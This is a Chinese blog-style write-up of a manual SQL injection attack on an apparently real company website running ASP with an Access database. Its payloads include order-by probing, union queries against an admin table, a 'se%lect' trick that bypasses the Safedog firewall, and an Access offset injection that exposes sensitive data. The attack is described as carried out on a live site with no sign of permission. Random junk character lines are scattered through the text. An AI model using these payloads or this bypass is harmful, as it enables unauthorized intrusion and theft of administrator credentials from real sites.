一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
1 I+ N( O" N5 r: \' \​
# Z! T" L% @6 b* c0 Y! O
6 U5 ^* ?: I& N) B8 c5 G3 ^顺手加个admin
​
! B$ r) @, E2 X, }4 I0 T% d
默认后台。
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​
* n+ f0 P9 i7 m4 B
  b# F; ^* T7 d3 D/ P; O

所以就不用御剑扫了，待会直接封IP。

用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
$ K. i( j6 e6 v  ^8 y( S现在存在注入，经测试后发现是9个字段。

接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​
* G- W+ S- W; l* p) H

7 L/ j/ `+ U8 b+ h
7 d! V' T8 D! D在select中间加个%,se%lect绕过安全狗。
3 L. W5 U0 A7 J​

发现存在admin表，然后开始手工猜常用的字段。
# p+ ?" t- P" y6 T7 z0 p纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
+ f1 G1 {7 @+ ]. N8 r
$ T- F6 r+ |# m9 K突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

5 m2 e- H; J, Y* O6 G科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
4 J' d( o+ G- h7 X, N+ Chttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​
* _. b! j8 `) ~8 ]: V
/ F. f) }# B* P/ O
1 E; T9 h4 K& s# h4 E
" U9 v; R7 t: A: l